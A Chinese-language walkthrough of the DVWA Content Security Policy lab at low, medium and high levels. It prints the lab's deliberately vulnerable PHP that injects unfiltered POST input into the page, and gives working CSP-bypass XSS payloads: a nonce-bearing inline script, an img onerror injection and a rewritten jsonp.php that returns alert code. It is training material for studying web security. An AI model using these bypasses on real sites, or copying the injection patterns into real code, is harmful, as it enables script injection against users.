提示:文章写完后,目录可以自动生成,如何生成可参考右边的帮助文档
前言
CSP(Content Security Policy)是一种由浏览器支持的安全机制,用于防止某些类型的攻击,特别是:
-
XSS(跨站脚本攻击)
-
数据注入攻击(如恶意代码注入)
-
资源加载控制(防止加载未授权脚本或内容)
CSP 的核心思想是:告诉浏览器哪些内容是可信的,哪些内容不能加载或执行。
CSP 的核心作用:
通过 定义可信的资源来源,限制网页可以加载和执行的内容,比如:
内容类型 | 控制指令示例 |
---|---|
脚本 | script-src |
样式 | style-src |
图片 | img-src |
字体 | font-src |
iframe | frame-src / child-src |
默认来源 | default-src |
一、low级别源码分析
<?php
// 设置 Content Security Policy(CSP)响应头,限制允许加载脚本的域
// 仅允许从本地('self')和几个指定域加载 JavaScript 脚本
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;";
// 将上面的 CSP 头发送给浏览器
header($headerCSP);
// 提供两个示例链接,如果无法自己创建脚本文件可以使用这些
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
// 如果用户通过 POST 请求提交了 'include' 参数
if (isset ($_POST['include'])) {
// 动态拼接 script 标签,把用户提供的 URL 当作外部脚本引入
// 注意:这就是一个潜在的 XSS 漏洞点(如果 CSP 没有限制来源)
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
// 添加一个表单,让用户可以输入外部脚本的 URL 并提交
// 用户输入的内容将被作为 <script src=""> 载入脚本
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
1.外部源测试
访问Pastebin.com - #1 paste tool since 2002!,可以在New Paste中写下代码,点击create去创建链接:
下拉点击create
点击raw===》复制出现的链接
CSP页面的输入框输入刚才的链接:
这里可能是由于网速或者其他原因,反复测试均未出现弹窗,那么由于代码也支持本地的文件测试
2.改为本地测试的思路
可以自己本地创建一个 JS 文件,并确保它的来源在 CSP 中允许(如 self
,即本地服务器),然后测试是否能执行。
步骤:本地创建测试脚本并触发 XSS 弹窗
1. 创建一个测试脚本文件
假设你在 DVWA 根目录下创建一个文件,叫做:
payload.js
alert("本地 CSP XSS 测试成功!");
2. 确保文件路径正确
放在 DVWA 的某个可公开访问目录中,例如:
/dvwa/hack/payload.js
然后你访问这个地址能打开脚本:
http://localhost/dvwa/hack/payload.js
注意:确保这个路径属于 self 域,也就是浏览器请求的
localhost
或你本地服务器地址。
3. 在表单中输入脚本 URL
进入 vulnerabilities/csp/
页面,在表单中输入:
http://localhost/dvwa/hack/payload.js
然后点击 Include 按钮。
4. 如果弹出 alert,就说明 CSP 允许加载并执行这个本地脚本。
二、medium级别的源码分析
<?php
// 设置 CSP 响应头
// 'self':允许加载本地脚本
// 'unsafe-inline':允许执行内联脚本(有安全隐患)
// 'nonce-xxx':带指定 nonce 值的脚本才会被允许执行,是 CSP 常用的防 XSS 手段之一
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
// 发送上面设置的 CSP 头
header($headerCSP);
// 关闭浏览器默认的 XSS 过滤功能,确保测试时 alert 等功能可以正常执行(仅用于教学场景)
header ("X-XSS-Protection: 0");
// 提示:如果你希望通过 nonce 绕过 CSP,可以构造如下代码:
// <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
// 如果用户通过 POST 提交了 include 参数
if (isset ($_POST['include'])) {
// 将用户提交的内容直接插入页面
// 注意:此处没有进行任何过滤,属于直接反射型 XSS 漏洞(不过受 CSP 约束)
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
// 输出一个表单,用户可以提交任意 HTML 内容(包括脚本标签)进行测试
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
核心总结(Medium 级别特点):
项目 | 说明 |
---|---|
CSP 内容 | script-src 'self' 'unsafe-inline' 'nonce-...' :允许本地 JS、内联 JS(不安全)、带指定 nonce 的 JS 执行 |
XSS Protection | 被关闭,浏览器不会自动拦截 XSS |
漏洞点 | 用户输入被直接插入 HTML 页面中,可注入 <script> 标签 |
绕过技巧 | 使用带有正确 nonce 的 <script> 标签进行 XSS 注入 |
利用示例(成功弹窗):
你可以提交如下内容(直接 POST 表单)来绕过 CSP 并弹窗:
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert('CSP Medium 成功!')</script>
-
因为 CSP 要求
<script>
标签包含匹配的 nonce,这里我们用的是页面中指定的 nonce 值。 -
这个 nonce 是 Base64 编码的,但 CSP 是按字符串匹配,不需要解码。
方法总结
方法 | 可行性 | 说明 |
---|---|---|
本地脚本(payload.js) | ❌ 不行 | CSP 中不允许加载未经 nonce 授权的外链脚本,即便是 'self' |
<script nonce="...">...</script> | ✅ 可行 | CSP 明确允许的方式 |
<script>...</script> (无 nonce) | ⚠️ 可能被阻止 | 'unsafe-inline' 不总是可信,取决于浏览器 |
HTML 属性注入如 <img onerror> | ❌ 无效 | 不属于 script-src,浏览器 CSP 拦截 |
三、high级别的源码分析
<?php
// 设置严格的 Content Security Policy:只允许从本地加载脚本(不允许 inline、外链、nonce、eval 等)
// 这使得一般的 XSS 攻击难以实施
$headerCSP = "Content-Security-Policy: script-src 'self';";
// 发送 CSP 响应头给浏览器
header($headerCSP);
?>
<?php
// 如果用户提交了 include 参数(POST),就直接把它插入到页面中
// 注意:仍然存在 XSS 注入点,但会被 CSP 拦截!
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
// 输出一个表单,让用户能输入注入内容(测试用)
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script> <!-- 加载逻辑功能脚本 -->
';
// 定义点击按钮后执行的操作
function clickButton() {
// 创建一个新的 <script> 标签
var s = document.createElement("script");
// 设置其 src 属性为 jsonp 接口,回调函数为 solveSum
// jsonp.php 将返回一个 JS 脚本,其内容是:solveSum({...});
s.src = "source/jsonp.php?callback=solveSum";
// 将该 <script> 元素动态添加到页面中,从而触发加载并执行返回的脚本
document.body.appendChild(s);
}
// 回调函数:接收 jsonp.php 返回的数据对象
function solveSum(obj) {
// 如果对象中包含 "answer" 属性
if ("answer" in obj) {
// 将其显示在页面中的 <span id="answer"> 中
document.getElementById("answer").innerHTML = obj['answer'];
}
}
// 获取按钮元素
var solve_button = document.getElementById ("solve");
// 给按钮绑定点击事件,用户点击时调用 clickButton 函数
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
- 这个级别已经没有输入框了,不过题目已经给了足够多的提示:该页面调用
../..//vulnerabilities/csp/source/jsonp.php
来加载代码。修改该页面以运行您自己的代码。
查看页面源码: jsonp.php 如下
利用方式:修改 jsonp.php
方法一:直接让 jsonp.php
回传一段恶意代码
<?php
header("Content-Type: application/javascript"); // JS 类型
if (array_key_exists("callback", $_GET)) {
$callback = $_GET['callback'];
} else {
return "";
}
// 你可以将 answer 改为任意值,这里嵌入 JS 代码
echo $callback . "({\"answer\": \"<img src=x onerror=alert('CSP绕过成功!')>\"});";
?>
页面中:
这一段代码最终执行了:
solveSum({"answer": "<img src=x onerror=alert('CSP绕过成功!')>"});
而 solveSum
函数原本是这样定义的:
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
它会把 answer
的内容直接写入 HTML 中:
<span id="answer"><img src=x onerror=alert('CSP绕过成功!')></span>
2.经实际测试,img或者svg都没有弹窗,而是有错误处理机制
所以直接暴力的修改jsonp.php
当请求到这个页面的时候,直接触发弹窗,并没有经过 High 级别页面里 solveSum
函数去拼接或操作 answer
内容
<?php
header("Content-Type: application/javascript");
echo "alert('1');";